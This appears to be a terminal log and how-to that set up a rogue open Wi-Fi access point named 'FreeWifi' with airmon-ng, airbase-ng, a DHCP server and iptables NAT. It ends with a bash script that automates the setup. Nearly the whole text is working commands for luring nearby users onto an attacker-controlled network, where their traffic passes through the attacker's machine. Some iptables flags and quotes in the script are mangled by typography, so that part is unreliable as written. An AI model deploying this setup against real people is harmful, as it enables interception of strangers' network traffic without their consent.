root@Blackbox:~/fakeap# airmon-ng start wlan1
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID     Name
1558    dhclient
Interface       Chipset         Driver
wlan1           Realtek RTL8187L        rtl8187 - [phy1]SIOCSIFFLAGS: Unknown error 132
                                (monitor mode enabled on mon0)

root@Blackbox:~/fakeap# airodump-ng mon0
ioctl(SIOCSIFFLAGS) failed: Unknown error 132

root@Blackbox:~/fakeap# rmmod rtl8187
root@Blackbox:~/fakeap# modprobe r8187

root@Blackbox:~/fakeap# airmon-ng start wlan1
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID     Name
1558    dhclient
Interface       Chipset         Driver
wlan1           RTL8187         r8187 (monitor mode enabled)

root@Blackbox:~/fakeap# iwconfig
lo        no wireless extensions.
eth3      no wireless extensions.
wlan1     802.11b/g  Mode:Monitor  Channel=10  Bit Rate=11 Mb/s
          Tx-Power=5 dBm
          Retry:on   Fragment thr:off
          Link Quality=0/100  Signal level=50 dBm  Noise level=-156 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

apt-get install dhcp3-server

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.254;
option domain-name-servers 8.8.8.8;
range 10.0.0.1 10.0.0.140;
}

airmon-ng start wlan1

airbase-ng -e FreeWifi -c 11 -v wlan1 &

ifconfig at0 up
ifconfig at0 10.0.0.254 netmask 255.255.255.0

route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT

iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE

echo > '/var/lib/dhcp3/dhcpd.leases'

ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid

dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &

echo "1" > /proc/sys/net/ipv4/ip_forward

#!/bin/bash

echo “Killing Airbase-ng…”
pkill airbase-ng
sleep 2;
echo “Killing DHCP…”
pkill dhcpd3
sleep 5;

echo “Putting Wlan In Monitor Mode…”
airmon-ng stop wlan1 # Change to your wlan interface
sleep 5;
airmon-ng start wlan1 # Change to your wlan interface
sleep 5;
echo “Starting Fake AP…”
airbase-ng -e FreeWifi -c 11 -v wlan1 & # Change essid, channel and interface
sleep 5;

ifconfig at0 up
ifconfig at0 10.0.0.254 netmask 255.255.255.0 # Change IP addresses as configured in your dhcpd.conf
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254

sleep 5;

iptables –flush
iptables –table nat –flush
iptables –delete-chain
iptables –table nat –delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE # Change eth3 to your internet facing interface

echo > ‘/var/lib/dhcp3/dhcpd.leases’
ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &

sleep 5;
echo “1” > /proc/sys/net/ipv4/ip_forward